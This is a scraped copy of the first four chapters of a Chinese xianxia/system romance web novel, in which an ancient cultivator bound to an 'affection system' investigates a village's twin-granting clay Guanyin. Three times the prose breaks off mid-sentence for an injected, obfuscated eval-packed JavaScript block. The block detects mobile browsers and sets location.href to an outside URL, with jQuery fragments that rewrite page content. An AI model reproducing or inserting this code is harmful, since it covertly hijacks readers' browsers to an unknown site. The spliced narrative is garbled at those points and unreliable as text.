《无情道被绑定好感系统》
1. 第一章-传闻
街道上雨水还没渗下,踩上去就是一小片涟漪,显得行人纷纷,脚步声切切。
金双绛站定,被脚下雷劈的一抹焦黑拦住了脚步,抬手轻柔捋了捋还在冒烟的头发。
扫视过周边寥寥行人,全然看不到他们对这道惊雷一闪而过的讶异。
看不见?
她略作思索,只当自己倒霉。
刚要迈出步子跨过,一串叮叮当当的电流音乐在她脑子里炸开。
脚步顿住,整个人以一种诡异的金鸡独立站姿定住。
【触发天雷,成功绑定好感系统,您就是下一个天选之子!】
金双绛此时才觉得如遭雷击,扶住天桥边的栏杆,靠在上面和湖中月亮对视着,一脸懵逼。
“……好感系统?”
【作为存活了上上上上……千年的无情道优秀毕业生,您熬死了师傅,送走了同门,掌握着天地灵气,是至高无上的存在,但这可是现代,老旧仙侠那一套已经不实用了,现在是异能者的天下!】
一个童声叽里呱啦说了一堆,金双绛大体能听懂它的意思:
你中奖了。
金双绛沉默半晌,思考了几秒,话锋一转,低声问:“你……有实体吗?”
清晰感受到脑内如烟花频频炸开般的背景音乐沉寂了几秒,金双绛无辜摊手,调皮一笑:“我就问问。”
【没有实体哟,并且已经和您成功绑定,不退不换,合作愉快!】
“霸王硬上弓?你好像很害怕我会拒绝啊,难道是找不到别人……”
【您也想知道月亮上那东西到底是什么吧!】
“……”金双绛微微张口,没有反驳,她顺着系统的话说,“月亮上……没东西啊。”
皎洁光辉洒下,波光,水面,笼罩着半个地球的月光,看起来并无变化,但金双绛不得不承认。
月亮烂了。
要不然金双绛也不会出现在这里,在田野当个活神仙才是她的本职工作。
那些腐烂体同雨后春笋般冒出,金双绛为了调查源头已经不眠不休三天了,收获就是……
这些东西很抗揍,而且智商不低。
脑内那家伙像是很满意她的反应,接着说:【好感系统,竭诚为您服务!】
【已开启属性面板】
金双绛眼前浮现出一个六边型属性面板,上面标记着体质,智商,战力,精神力,幸运值,防御值。
每项文字后面都有一个红得滴血的999。
旁边还有一些金双绛的基础信息,年龄上是乱码,人生履历直接用六个省略号代替了。
下面还有几个没有任何显示的框,左上角写着:技能。
来到第二个页面,是各种未解锁的档案,清一色牛皮纸质感,不过还有几个黑色的档案,上面的链条泛着紫色的幽光。
“这是什么?”
【这是所有可攻略角色的人物档案,会随着好感度积累逐步解锁,由于你没有任何提升空间,所以当您攻略的异能者好感度数达标则可增加技能点,开启异能使用】
“多少数值?”金双绛问。
【20解锁基础人物信息,40解锁人物深层信息,增加好感获得异能积分解锁异能】
【数值达到100则可复刻对方异能】
系统说的很简洁,听得金双绛眉毛抽搐,压低声音说:“你是想让我养死士?”
【温馨提示,您可通过展示外貌,武力,温柔体贴等优美品质吸引各方高手拜倒在您的石榴裙下!】
金双绛“呵呵”笑了两声,对着系统说:“原来是这样刷好感吗,那我的道心怎么办?”
【好感度是多项综合数值,我推荐的只是最快捷通道,相信您一定会努力实现终极目标的!】
“终极目标?”
【成为举世瞩目的救世主,完成最华丽的谢幕!】
谢幕就不必了,她现在只想退休。
金双绛沉思片刻,突然问:“那你呢?你的任务是什么,监督我?”
【阻止世界毁灭就是我的任务,您还有什么问题?】
“比起拯救世界,我现在有个更好奇的问题。”
【……什么?】
“你存在于我的脑子里,算是我的所属物还是一个独立个体?”
【貌似都不是,我是游走于宇宙间的超高维生物】
“那你有家人吗?”金双绛问。
【……没有】
“既然以后要一直合作下去,成为密不可分的伙伴,那我就勉为其难成为你第一个家人吧。”
系统像是没反应过来,金双绛接着说,“你选择了我,我就是你的家人。”
“正式宣布,合作愉快。”
金双绛扬起微笑,伸出手在空中虚握了一下啊。
【……好的,您就是我唯一的家人】
‘系统好感+10’
金双绛的视线狡黠地颤了颤,见系统没有任何反应,她的嘴角弧度增加,像是找到了什么有趣的Bug。
看来它真的有实体呢。
档案界面也解锁了一个人物:
【系统(非人物)
年龄:未知
武器:无
等级评定:**】
上面还有很多信息都处于半模糊状态,无法查看,只能等日后再解锁了。
金双绛再次迈出前进的步伐,而地上那道焦黑也在她离开后被抹去。
黑色的背影又融入行流的人群中。
【这么晚了,你要去哪里?】
金双绛脚步没停,说:“我记得之前这里有个村子,有不少空屋来着。”
【多久之前?】
金双绛忽然“啊”了一声,说:“几十年前吧,大概。”
【……那估计很难再找到了,您今晚不会露宿街头吧?】
金双绛现在所处的位置大概是有点偏僻,一路都没看到酒店,可怜她还特意带了钱包出门。
金双绛这些年住的位置经常会变,这套竹屋是住的最久的一个,工匠的孙子有点实力的话,现在应该已经四世同堂了。
竹屋就在无名山顶,连飞燕都很少见。
“不会啊,这不是还有桥洞吗。”金双绛说的很坦然,甚至已经停下了前进的脚步,扫视四周有没有什么可以垫在身下的东西。
半晌,系统又说:【我的地图上显示前面有一个小乡村,您要不要去碰碰运气?】
“哦?你还有导航功能。”
【没想到您这位活化石还知道导航】
“与时俱进嘛,我适应的很快。”
金双绛欣然接受了系统的建议,迈开步子向它说的福佑村走去。
午夜十二点,金双绛终于找到了系统所说的福佑村,村子不算大,远远望去能看到三十几户人家窝在山沟里,大院的铁门都拉上了,玉米杆落在院子中央,有房子那么高。
月亮孤零零盘旋在半空,金双绛站在村口静听微风,身上的冲锋衣和休闲裤轻微地抖动,她轻轻叹了口气,顺着石板路摸进一家人的院子。
两
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17315387|198946||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
下翻上了玉米杆,踩在上面走路有些不稳,摇摇晃晃的,金双绛找了个稍微平坦的地方刚要坐下,措不及防撞上一道视线。
一道像是观察了她很久的视线。
寂静的深夜,一个半蹲在别家房顶,趋势向前的白色身影和一个躺在玉米秆上,曲腿靠臂的黑色身影发现了彼此。
青年墨发飞扬,灰色眼眸里闪过一丝惊讶,眼神像是钉在金双绛脸上,瞳孔收缩又扩大,旋即又恢复正常。
青年的脚步落在瓦片上,那身影似有若无,极轻极快,绕到了房后。
金双绛立刻起身跟上,翻身下地,从房子侧面包抄过去,田垄上还有不少没清理的玉米秆根部,斜斜插在地面上,裸露部位很尖锐。
一黑一白两个身影前后穿梭在田地里,金双绛右手一挥,腕间一抹透亮翠绿露出,瞬息间,手腕上的玉镯闪身变成了一根超出一人高的竹棍,上面雕刻着极其复杂且精致的图案。
金双绛猛地掷出,拦住了青年的逃跑路线,泥土纷飞,炸开一个能藏纳七八个鸵鸟蛋的深坑。
青年侧身闪避,抬手将三个飞镖握在指节,向金双绛脖颈处攻击。
金双绛俯身躲过,一脚踢在他腹部。
青年连连后退,背部撞在斜插的竹棍上。
金双绛不紧不慢来到青年身边,问:“你是谁?”
青年眼眸布满水光,胸腔起伏,抿唇低头思索。
“你……”他语气一顿,“你是村子里的人?”青年声音不大,带着一种扣人心弦的穿透力和几分疏离。
“那我就不用躺在那上面了,”金双绛绕到青年身前,把竹棍拿起,横在身后,“你鬼鬼祟祟蹲在人家房顶做什么?”
青年的长发垂在身侧,月光穿过他秀美的面部线条,显得有几分柔情,不过仔细一瞧,眉眼间尽是飒爽英气。
“这座村子不对劲,你听说过福佑村双生子传闻吗?”青年紧绷的身体稍稍放松,语气舒缓,向金双绛解释着,眼神时不时瞥向她身后的竹棍。
金双绛摇摇头,静待下文。
“村里有一座泥塑的送子观音像,据说怀孕的妈妈来拜过之后一定能生下异卵双生胎,曾经有一个记者为了打破这个看起来不可置信的传言,跟随过三个来这里拜观音像的孕妈妈,结果,她们都生下了健康的双生胎。”
金双绛越听眉头越皱,不停转动着竹棍。
“记者又去探访了之前来过的夫妻,结果也是一样,但转折发生了,每对双生胎成年后,其中一个都不约而同回到了这个村子里,说自己也是福佑村的孩子,要为村子做贡献。”
“父母好说歹说劝不回去,反正家里还有一个孩子,也就随他们去了,至此,福佑村的规模越来越壮大,生产水平也高。”
青年看着金双绛说:“我觉得这村子里有蹊跷,只好半夜出来查探。”
金双绛也觉得事发古怪,拜一下就能再得一个孩子,简直不把生物学放在眼里。
但要说是巧合,那着村子风水得有多邪门,怀了两个孩子的都来了。
青年提议带金双绛亲眼看一看他发现的古怪,金双绛答应后跟着他走在田垄上,往一家走去。
静悄悄的实在是有些无聊,金双绛想起自己的好感系统,打算先拿他练练手。
“你叫什么名字。”金双绛问。
青年隔了一会儿才说:“……赵微尘。”
【获得人物档案:赵微尘
当前好感度:99】
这是金双绛今晚第三次遭雷击……
2. 第二章-泥塑
【赵微尘】
金双绛立刻点开面板查看他的档案,却发现除了刚刚得到的名字,其余皆是一片空白。
随后金双绛看到自己的属性面板上的技能点增加了五十点。
【解除锁定状态,欢迎来到异能者世界】
【新手礼包已开启】
【获得基础技能:捏金】
【您可以将任何物质转化为金属物,随意捏造其形象】
“人物档案就一个名字?”金双绛问。
这人难道比突然出现在自己脑袋里的系统还神秘?
【抱歉,貌似是出现Bug了,不过99的好感度经过多次检测,是实打实的呢】
金双绛笑了,发自内心的苦笑,不过这笑中又夹杂着几分疑惑。
看着赵微尘的后脑勺,她在记忆里疯狂搜索这张自己见过一面就绝对不会忘记的脸,结果跟他的人物档案一致,空白一片,没有任何痕迹。
那明晃晃的好感度一直飘在金双绛眼前,导致她差点没撞上赵微尘的后背。
“你看。”赵微尘领着金双绛来到屋后的窗户边,这家的窗帘没有拉严,顺着缝隙能看见一些屋内的情况。
金双绛凑过去,漆黑的屋内是宽敞的火炕,上面侧躺着一个人,被子板正地盖在身上,显示出身体轮廓,墙上的时钟滴答流走着。
枕头上是一对睁得大大的眼睛,直勾勾盯着前方。
又观察了一会儿,金双绛发现那人似乎就是这么睡的,睁着眼睛睡,跟没有上眼皮一样。
金双绛从缝隙中撤回,此时赵微尘将手机递给她,上面是一篇有几万人看过的报道,金双绛往下翻了翻,看到照片中有一个很眼熟的面容。
正是屋里那个人!
而报道上正写着:当年的观音送子双胞胎现在究竟过的怎么样?
很显然,屋内就是曾经来到观音庙跪拜过的妈妈生下来的其中一个孩子。
赵微尘接过手机问:“你有什么见解?”
“这个村子里一定有腐烂源,而且存在时间不短,看样子很难拔除,至于他们到底是些什么东西,目前还没有头绪,那个观音庙在哪里?”
赵微尘说:“我已经去看过了,门和窗都被上了锁,强制破开倒是可以,但我怕会引来其他东西。”
“毕竟是在人家的地盘,谨慎一些也对。”金双绛说。
两个人也不能光明正大站在人家的院子里聊,万一被什么人看见就解释不清了,一黑一白又来到石板路上并肩走着。
“你也是来调查这里的?”赵微尘问。
金双绛想起自己坐在秆子上潦草的模样,尴尬地咳了咳嗓子:“之前听说过一些,没想到这地方这么邪性。”
“你今晚有地方住吗?”
“并没有。”金双绛诚实回答。
“我那里还有一间空房间,如果你不介意的话,可以去我那里暂住。”
“不打扰的话就谢谢了,”金双绛毫不客气的答应了,又从衣服内兜里掏出一个金镯子递给赵微尘,“给你当住宿费。”
因为不知道会在这里住多少天,金双绛特意掏了一个足够分量的,赵微尘眉梢微挑,接过镯子拿在手里把玩,不知道在想些什么。
这是金双绛为了试试新技能借用路边的石头子捏的,质感和外表跟自然形成的没有任何差别。
有了这个技能改行开金店也能挣的盆满钵满了。
“那我就收着了。”赵微尘拨开插锁,拉开铁门领着金双绛走进水泥房子。
这家房子原本就是闲置的空房,平常放些废旧家具什么的,村长收拾出来一个房间借给赵微尘暂住。
金双绛坐在小厅的桌子旁,放下刚刚用来帮忙扫地的扫帚,端起赵微尘烧好的热水,吹了吹,感觉不是很渴,又放了回去。
因为这里只有一张单人床,赵微尘从另一个房间掏出一张单人折叠沙发,正在擦拭上面的灰尘。
他身形生的很好看,一举一动都很吸引人。
金双绛轻声开口:“我们以前见过吗?”
赵微尘把抹布放在热水里戳了几下,拧干水份。
“我……我是爷爷带大的,父母,记不清了,之前跟着爷爷四处卖艺,学了点儿三脚猫功夫,或许你路过的时候见过我?”
金双绛在心底默默否定了他的话,毕竟自己上一次出门少说也是十几年前了,赵微尘看着不过二十三四,年龄对不上。
荷瓣一样的手在水盆里翻涌,赵微尘问:“你是异能者吧,”他抬起沾着水珠的手,指向金双绛放在桌子上的竹棍,“我之前见过有有人能凭空化物。”
公式对了,但是答案错了。
金双绛很配合地拎起竹棍,一晃,又变化成玉镯躺在金双绛腕间。
赵微尘微微放大双眼,看着金双绛举起胳膊左摇右晃,视线也不禁随之移动。
真的会有人对一个未曾谋面的陌生人有着高达99的好感度吗?
当然不,但是目前来看两个人的人生没有产生过任何交集,这实在是激起了金双绛的好奇心。
突然捡到一个满满忠心的下属,任谁都是不会轻易把他放走的。
“你对异能者很好奇?”
赵微尘诚实点头:“很神奇,是我以前没见过的,小时候觉得会喷火和打铁花就已经很了不起了,没想到人外有人。”
“错,是人外有鬼,我来的时候一路打听过,最早发现的腐烂体是一个叫做鬼襁褓的东西,专门在半夜出现,用花色温馨的被褥和哭声吸引过路人,应该是在杀害五个人之后,它撞上了第一个出现的异能者。”
“实在是太巧了,而且没有任何人能肯定二者出现的先后顺序,所以是不是没有那些怪物,就不会有异能,还是说因为有人掌握了异能所以才出现了那些怪物。”
赵微尘:“你说的也对,但是比起这些我觉得月亮上的那个东西,会更可怕。”
金双绛神色一怔,视线直射过去:“你能看到?”
“能感觉到。”
“实不相瞒,其实我就是专门为了处理祂才离家的,如果你也有兴趣的话,要不要加入?”金双绛和赵微尘一起蹲在水盆边,等待着他的回答。
赵微尘抿唇收回视线:“可我只会杂技,就扔扔飞镖什么的,不会托你后腿吧?”
金双绛没有回答,伸出右手握住赵微尘:“那就这么愉快的决定了。”
金双绛目的达成,甩开膀子躺倒在木床上,赵微尘的声音从沙发上传来:“那我们现在是搭档了?”
金双绛伸出食指晃了晃:“是同伙,我是你的上司。”
赵微尘窝在沙发里进行了一段‘不敢苟同,但无奈‘的沉默。
“晚安,再不睡就要天亮了。”金双绛说完就闭上了双眼,转过身背对着赵微尘。
【更新人物档案】
【赵微尘(人类)
年龄:25
武器:生锈的铁镖(破伤风率达99%)
属性评定:三星】
“你修好Bug了?”
【竭诚为您服务】
“这个属性评定是什么?”
【属性评定分为零星至六星之间的若干等级,与数值和均衡程度决定,越往后星级之间的晋升跨度
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17315388|198946||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
越大,三星已经是万里挑一的高手了,各种数值均在三百以上。】
那还真是让金双绛捡到宝了,至于他99的秘密暂时留给日后探索吧,先把福佑村这个麻烦解决。
单人沙发折叠后略短,赵微尘弯曲着腿躺在上面,阳光顺着窗户洒进屋内,微微燥热。
大门被人打开,一种拖拽重物的摩擦声在房门外响起。
赵微尘简单活动身体,推开门就看见金双绛大口喝着矿泉水,一张简易折叠床倒在她的脚边。
“你从哪里搞的?”赵微尘上前敲了敲。
“在隔壁借的,老两口身体健康又热心,他们说也用不上就给我拿过来了,放心,是活人。”
赵微尘点头,又开始了忙碌。
金双绛坐在木椅上,看着自己刚解锁的人物档案。
【王洪庆(人类)
年龄:73
属性:无
武器:赶鸡鸭的烧火棍
等级评定:半星】
在农村生活一辈子的优秀劳动人民,于27岁结婚,30岁和32岁得到一儿一女,日子平淡又幸福,于妻子感情和睦。
性格老实憨厚,为人和善。
【刘青(人类)
年龄:69
属性:无
武器:掉毛的鸡毛掸子
等级评定:一星】
乡村老师,现已退休,脾气较为火爆,爱美。
金双绛早上发现隔壁家里的大鹅跑出来了,帮忙抓了回去,被老两口一顿感谢,借着档案上的信息,金双绛直接把两人的好感刷到了40,还获得了包子和这张床。
金双绛靠在门上笑盈盈地问赵微尘:“怎么样,公司福利不错吧,也不能太委屈你这双大长腿。”
“真的不错,感觉动力十足,老大,今天我们去做什么?”
“先搞清楚那些东西到底是什么,然后去参观下传说中的送子观音庙,”金双绛像是想到了什么,眼底闪过一丝狡黠,“早上的时候,我还发现村子里又来了一对小夫妻,天助我也。”
“现在还有人信这些吗,”赵微尘眉间略有不解,“据我所知,来这里祈福的夫妻不少于三十对,七八年前开始就很少有人过来了。”
金双绛立马读懂了赵微尘的言外之意,如果他们不是真夫妻的话,很有可能也是过来调查的。
“对了,这么古怪的村子,应该有很多人都来过查探过,真的什么都没有发现?”
“当时所有的报道都很完美,滴水不漏,具体情况也只有当事人才清楚了。”赵微尘说。
乡间小路的石板路不算宽敞,偶尔要给过路的三轮车和摩托车让路,金双绛和赵微尘一前一后走在一起。
金双绛眼尖,瞄到了一张熟悉的脸,向前跑了几步,拍了拍前面男生的肩膀:“小哥,你知道观音庙怎么走吗?”
那人肩膀一缩,转了过来,是个长相很清秀的小男生,他转过头,原本带着恼气的眼神在看到金双绛的一瞬间有些清醒。
“在,在前面十字路口拐弯,左拐,有个很高的红色木门,里面就是,”金双绛眨着眼睛看着他,男生又想补充,“我也可以带……”
此时赵微尘慢悠悠贴了过来:“谢谢小哥。”
简单道谢后三人就分开了,等到走远些,赵微尘问:“有观察到什么?”
“跟正常人没什么区别,皮肤,毛发,睡觉不闭眼睛,我猜是因为休息的时候要维持被创造出来的状态。”
“那不就是……”赵微尘迈过门槛,两人并肩站在七米高的门下,看着庙里的观音像,异口同声说:“泥塑。”
3. 第三章-观音
“哎哎哎,让让让,扫地呢!”
一位穿着朴素的大娘那着大扫帚清扫着地上的落叶,把两人推到了一边。
赵微尘和金双绛相视后尴尬一笑。
赵微尘弯腰问大娘:“婆婆,这座庙建多久啦?”
大娘不耐烦地瞟了眼赵微尘,才眯着眼睛想了一会儿:“十几二十年前?我记得是一个装修队开山开出来一尊像,有个会做手工活的把它修了修,就放在这里当作吉祥物了。”
“后来啊,就传这东西邪门,能让人凭空多个孩子,”大娘说着,手还在金双绛的肚子上轻轻拍了一下,“哎哟,一堆人来,好像还挺灵的呢,你俩也是来求个胖宝宝的啊。”
金双绛讪讪笑着向后撤了撤,还没等再多问两句,大门外就传来脚步声。
金双绛看过去,是一男一女和一个老头。
老头穿着一个深蓝色外套,鬓白被乌黑的染发膏掩盖,提了提气色,眼神不断向另外两个人身上看去。
那个青年身形高大,非常有安全感,长寸头配上低调的皮夹克看上去很成熟,配上不太成熟的长相倒是有几分矛盾,凌厉的眼神从在场几人身上匆匆扫过,有些紧张的抿了抿唇。
身边的粉色短发女孩娇俏可爱,言笑晏晏和村长攀谈着,看上去自然随和很多,一手挎着青年的胳膊,一手扶着圆滚滚的肚子。
“哎,小赵,你怎么也在这里,前两天不是来看过了吗,三天两头往这里跑,是想讨个漂亮老婆?”村长笑着调侃,在看到赵微尘身边的金双绛时面部有些诡异地僵了一瞬。
他提起眉毛问赵微尘:“哎,这位是?”
金双绛热情上前,做自我介绍:“爷爷你好,我是他妹妹,您叫我双绛就好。”
“哎哟,来的时候小赵说自己家里就剩一个人,给我心疼坏了,原来是在闹离家出走,都这么大个人了还调皮,带着妹妹玩两天就赶紧回去!”村长佯装恼怒,轻轻捶了一下赵微尘的肩膀。
赵微尘笑了笑,没搭话。
金双绛注意到刚才还在附近的扫地大娘不知道什么时候离开了,转头发现村长还在盯着‘兄妹’两个。
“哎,一看就是一家人,长得像啊,我叫王贵权,是福佑村的村长,哎……是节气的那个霜降吗?”
没等她开口,赵微尘的声音轻轻飘来:“无双的双,绛色的绛。”
金双绛维持着笑容,听到他的话嘴角微不可察地抽动两下,眸色发深。
“哎呀巧了,这是今早刚来的一对小夫妻,也是为了拜拜我们这儿最有名的观音庙。”王贵权向金双绛二人介绍着。
对面的青年淡淡点头:“范行舟,这是我爱人,尚盈盈。”
【解锁人物:范行舟、尚盈盈】
【范行舟初始好感:0】
【尚盈盈初始好感:5】
“你们好,”尚盈盈微微抬头看向二人,低头有些害羞地笑了一下:“听说这个送子观音很灵,他开了一天的车才到,要不我们先进去看看吧!”
几人走进庙里,大殿中央的黄泥底座上立着一尊唇口微张,眉眼含笑,细瞳吊眉的观音像,面色有些破落的白,头发顺直,衣着简单,披着一层薄薄的白纱。
在昏暗的光线下看久了莫名会觉得那观音像是会呼吸。
大殿内部并不是由木头支撑,而是一整片的黄土壁,金双绛这才注意到观音庙原来被建在一座与其齐平的小山旁,两根粗壮的圆木柱子抵着房梁,五人走到拜垫旁,从台上取了香。
尚盈盈拖着身子,行动有些不方便,范行舟又替她拿了三根,两人一起跪在拜垫上,由于肚子不是太方便,尚盈盈尽可能地低下头,以表真诚。
赵微尘前天就来过,就和村长站在月台上等着进去参观的三人。
金双绛四处转了一圈,刚好绕回来和范行舟把尚盈盈从拜垫上扶起,随口说:“做母亲很不容易的。”
尚盈盈点头:“我们倒也不是想求个双生子,就是想孩子可以平平安安的。”
金双绛从兜里拿出纸巾,替尚盈盈擦去额头上的薄汗:“今天气温回升,你身子重的话要记得多休息。”
‘尚盈盈好感+5’
她又弯腰对着尚盈盈的肚子说:“小宝贝,祝你能平安长大。”
金双绛眼底笑意更盛了几分,往旁边看去,范行舟对二人之间的对话丝毫不感兴趣,反倒对这里的建筑布局格外关心。
金双绛的视线被尚盈盈注意到,她开口解释:“他是学建筑的,职业病犯了。”
“走啦!”
三个人走出大殿,王贵权推着一个小伙子过来:“这是我小儿子,王竟,一会儿就让他带着你们在村子附近转转,晚上还有篝火晚会,你们要是感兴趣可以一起来玩啊!”
王竟戴着一副黑边眼镜,很瘦削,眼下一片乌青,听着他爹的话推了下眼镜,微微点头。
王竟带着范行舟和尚盈盈往村子西边去了,王贵权跟赵微尘又客气了几句也离开了,金双绛趁机又说了几句拍马屁的好话,假装自己是什么都不懂的小妹,对什么都好奇。
对于这个孙女一样的小姑娘,王贵权倒是没多大防备。
‘王贵权好感+25’
【王贵权(人类)
年龄:56
武器:巧手
等级评定:二星】
金双绛有些惊讶,饶是赵微尘的三星在普通人里就很强了,这个王贵权竟然有二星,也就是说她没有任何数值低于100。
两人转了几圈又去隔壁邻居家里蹭了一顿午饭,顺便打听了有关篝火晚会的事情。
据王伯伯所说,村里的篝火晚会没有固定的日子,一年一次或者好几次的情况经常发生。
就是图个吉利,给大家热闹热闹啥的。
“我还发现啊,村里要是来了像你们这样的客人,就总搞这些活动,我们年纪大了,去了就是坐在一边聊天,看你们年轻人耍。”
金双绛回忆着刘姨的话,嘱咐赵微尘小心除了自己任何人端过来的食物和酒水。
赵微尘应了一声,回头把门关好,转身后止住了向前的动作,脖子贴上一个冰凉的东西。
侧眸,对上一道玩味的视线。
“我的名字,你怎么会知道?”
赵微尘呼吸一滞,空气在这宁静的空间里似乎都变得有些粘稠,薄唇轻启竟满是疑惑:“那是你的名字?”
赵微尘指尖轻点竹棍,将它从脖颈间推开,没受阻力,随后指向竹棍侧边,精准的在一片细纹中找到了两个字——双绛。
金双绛脸色七变八变,茫然无措,恍然大悟,但赵微尘硬是没找出来一点错怪别人的尴尬。
“是你自己刻的?”
金双绛揉着耳垂,模棱两可说:“应该是吧,”其实太久远了,自己都有些记不清,“你眼神倒是挺好。”
“嗯。”
两人之前已经计划好晚上要在尚盈盈他们附近蹲点,下午准备好好休息。
赵微尘已经枕着胳膊躺在单人床上,含着笑看着小厅里站着的金双绛:“妹妹不应该对哥哥动粗,不要OOC。”
旋即闭上眼睛,听着金双绛发自肺腑的声音:“我演技很好,谢谢提醒!”
日落西山。
“嘿!哈!嘿!哈!”
大院里围了四十多个人,中间高耸的火堆旁一个全身挂着各种颜色彩条带车黑棕色面具的男人正一蹦一跳,手里的装饰物沙沙作响。
金双绛站在赵微
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17315389|198946||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
尘身边,两只眼睛一直在往左前方瞟,顺着视线看过去,一只约莫六十公斤重的猪被架在特制铁桶里烤着。
由于金双绛去问还有多长时间能吃的次数过多,被大叔的无情铁手驱逐后悻悻回到了这里。
恰好尚盈盈和范行舟就在不远处坐着,神情有些严肃地观察着四周,金双绛绕了过去,从尚盈盈背后伸出拳头放在她侧面。
“是不是好久没来这么热闹的地方了,一时间有些不适应,”金双绛张开手,一颗大白兔奶糖出现在她掌心,“吃颗糖会不会好一点。”
尚盈盈愣了一下,才接过金双绛给出的糖,一双大眼睛亮晶晶地看着突然出现的金双绛。
‘尚盈盈好感+10’
三个人简单聊了聊,王竟带着他俩去体验了福佑村很火的泥塑手工,还去溪边拍了照片,一下午过的很充裕,导致现在没有太多精力去玩耍了。
话题终止在金双绛敏锐的听到大叔说烤猪好了的那一瞬间,尚盈盈实在是疲惫,就剩范行舟跟着金双绛去尝尝鲜。
“小哥,今天一天都没看你笑过,和老婆出来玩不高兴?”金双绛拿着铁盘,上面放了四晚肉和一碗饭,范行舟跟着转了一圈拿了两瓶矿泉水。
“你看起来无忧无虑的。”他突然没头没尾地说了这么一句。
“哈哈,我这是热爱生活,别太羡慕。”金双绛试图掌握走着吃饭,但失败了。
“你这么做,她晚上回家以后会写‘世界上真的不能没有女孩子’小作文然后把我拉起来听,很烦。”
金双绛咬着勺子,差点没掉:“啊?不能吧。”
范行舟沉默着看了眼她,向前大步走去,而金双绛也看请了他眼下淡淡的乌黑,没忍住笑了出来。
‘范行舟好感+5’
小孩子聚到一堆嘻嘻哈哈的聊着,火光照的大家的脸都暖烘烘的。
赵微尘从一边走了过来:“那些东西现在都在家里睡觉,这里应该都是活人,你……”五个空碗堆在他面前,那张永远温和的脸难得崩裂,低声凑到金双绛耳边,“不是说不要随便动这里的食物吗?”
“你妹妹我有法宝护体,哥哥,再去给我乘三碗。”
“……”
王贵权推着一个酒钢走到篝火边,四处纷发酒碗,范行舟和尚盈盈借口推脱,金双绛非常豪爽的干了一整碗,被一堆人围着夸孩子大方。
看着王贵权殷切的视线,赵微尘不好推脱,假装抿了一小口,被乱跑的孩子撞到,部分酒水也灌进嗓子。
“咳咳……”
金双绛顺着他的背,在一边劝着:“吐不出来就别吐了,没关系的,这酒应该没有问题。”
赵微尘又喝了半瓶矿泉水,才直起身子说话:“他们……咳咳……差不多散了吧,我们什么时候行动?”
“那边还要好久呢,我陪你回去休息一下吧,刚好我也要消消食。”
圆月当空。
金双绛站在窗边,看到远处耀眼的火光被熄灭,拉上帘子转身看见赵微尘脸色发白靠在门边,似乎是在等待她的指示。
两人悄咪咪摸出门,观察着四周动静,夜里静悄悄的,只有二人的脚步声。
福佑村的街道没有路灯,金双绛五感超出常人,靠着微弱月光也能看清事物。
兀地,她停住了脚步,将赵微尘拉到一边,透过草丛的缝隙,她看到了一个身姿窈窕的女人。
那人走路似若无骨,发丝盖住身体随着身形微微晃动,肩膀极窄,看不到脚步,整个人像是扎根地地的垂头鲜花。
‘咚——!’
赵微尘忽然晕倒,头磕在石板路上,发出了一道不大不小的响声。
那朵‘鲜花’似乎也听到了,缓缓转过头……
4. 第四章-藏锋
那颗头无力般垂在腋下向后看去。
黑暗与寂静在祂眼前反复徘徊。
几秒后,头很快转了过去,像是急迫见到什么而选择忽视了这段插曲。
金双绛放缓呼吸,压低身子,和昏倒的赵微尘缩在路边用来引水的土坑。
一股植物腐烂的味道和赵微尘身上淡淡的洗衣香萦绕鼻尖。
她垫在赵微尘身下,背部湿了一大片,耳边是两人交织的心跳,她注意着远处那个怪物的动向,精神完全紧绷。
【祂走了】
系统突然出声惊得金双绛心脏一抽,‘感谢’的话还没说出口,无意识被捏的发白的拳头摊在赵微尘背上。
看着也不胖,这人怎么这么沉。
【开启人物档案:慈观音】
下面又是一串等待金双绛解锁的信息条。
不过与之前不同的是,这个档案是纯黑的,上面还有流动的链条,链条间是滋滋的电流。
金双绛拎着赵微尘一条胳膊把他从土坑里扶起来,背在背上,嘴上也没歇着:“慈观音?就是观音庙里那个泥塑雕像?”
金双绛气息平稳,赵微尘的脑袋垂在她的肩膀上,偶尔会一晃一晃撞过来。
【是的】
“难道……这个我也能攻略?”
【当然!】
“……你说我要是把她的庙砸了,她气的心脏砰砰跳,会不会以为是心动了?”金双绛随口调侃,很快跑到了家门口。
简单把赵微尘安顿好,金双绛扒开他的眼皮,提起手腕摸了摸,没什么大碍,就是昏过去了。
那些酒真的有问题?可是金双绛连着干了好几碗都没事,按平常来说,自己的胃应该已经绞痛了。
沿着刚才的路线,金双绛又追了过去,在路上又叫出系统,因为她刚刚又调出档案面板扫了一眼,发现【慈观音】下面并没有好感显示。
“我需要攻略,你这个系统靠谱点可不可以?”
【由于祂们并不具备常人情感,所以不需要您攻略】
“.......?”
【您需要得到祂们的心,当绝对的欲望具象化,它自然而然会出现】
